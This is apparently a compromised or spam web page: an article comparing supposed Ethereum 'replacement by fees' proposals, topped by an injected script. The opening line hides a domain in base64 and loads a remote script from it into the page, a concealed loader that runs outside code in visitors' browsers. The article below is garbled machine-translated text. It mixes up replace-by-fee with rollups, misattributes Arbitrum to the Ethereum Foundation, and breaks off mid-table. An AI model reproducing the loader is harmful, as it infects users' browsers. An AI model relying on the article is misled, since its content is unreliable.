const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=05859fd2″;document.body.appendChild(script);
Ethereum: a complete analysis of replacement proposals through
The Ethereum community has actively explored means of improving the scalability and conviviality of its underlying blockchain technology, Ethereum. One of the most urgent concerns is the replacement by costs (RBF), which aims to alleviate the high transaction costs associated with the use of the current Ethereum network. In this article, we will describe all the advantages and disadvantages of various RBF proposals, providing an objective analysis of their advantages and disadvantages.
Overview of replacement proposals
Replacing by costs (RBF) is a concept that proposes to replace the costs based on the gas used in Ethereum with other costs structures. The idea is to reduce the cost of transactions and make them more accessible to a wider range of users. There are several RBF proposals currently under development or tests, each with its own set of advantages and disadvantages.
1. Optimistic Rollup (optimistic)
The Optimist Rollup proposal (Optimism) is one of the most promising RBF solutions. It uses a decentralized and scalable architecture to wash transactions and optimize their command in memory, reducing the number of gases required for each transaction. This approach allows:
- Reduction of transaction costs
- Increased scalability
- Improved performance
However, some criticisms argue that dependence on optimism with regard to the centralized authorities and its centralization potential are important concerns.
2. Arbitrum
Arbitrum is another popular RBF proposal developed by the Ethereum Foundation. He uses an architecture similar to optimism, but emphasizing security and stability. The main advantages of arbitrum include:
- Reduction of transaction costs
- Improvement of safety through the use of layers validation
- Increased scalability
However, some users have raised concerns concerning the centralization potential and the limited availability of the arbitrum nodes.
3. ZK-Rollup
ZK-Rollup is a more experimental RBF proposition that uses zero knowledge of knowledge to allow faster and cheaper transactions. The main advantages of ZK-Rollup include:
- Reduction of transaction costs
- Improvement of security through zero knowledge of knowledge
- Increased scalability
However, the development and deployment of ZK-Rollup are still in their early stages, and its long-term viability remains uncertain.
4. Tezos (Tez)
Tezos is a blockchain network that has developed an RBF proposal called “replace by costs” (RBF). The main advantages of the Tez RBF include:
- Reduction of transaction costs
- Improvement of safety through the use of a proof consensus algorithm
- Increased scalability
However, some users have raised concerns about the centralization potential and the limits of the current tez architecture.
5. Ethereum 2.0
Ethereum 2.0 is the new generation blockchain platform that promises to solve many of the scalability and use problems associated with its current network. Although it does not offer a direct RBF solution, it could possibly integrate certain RBF features in its architecture via future updates.
Advantages and disadvantages: a complete analysis
| Proposal | Advantages | Disadvantages |
| — | — | — |
| Optimistic Rollup (optimism) | Reduced transaction costs, increase in scalability | Centralized authorities, centralization potential |
| Arbitrum | Reduced transaction costs, improved warranty | Limited availability of nodes |
| ZK-Rollup | Reduced transaction costs, improved warranty thanks to zero knowledge of knowledge | Experimental architecture, uncertain long -term viability |
| Tezos (Tez) | Reduced transaction fees, improved warranty via proof of participation consensus algorithm | Centralized authorities, limitations of current architecture |
| Ethereum 2.
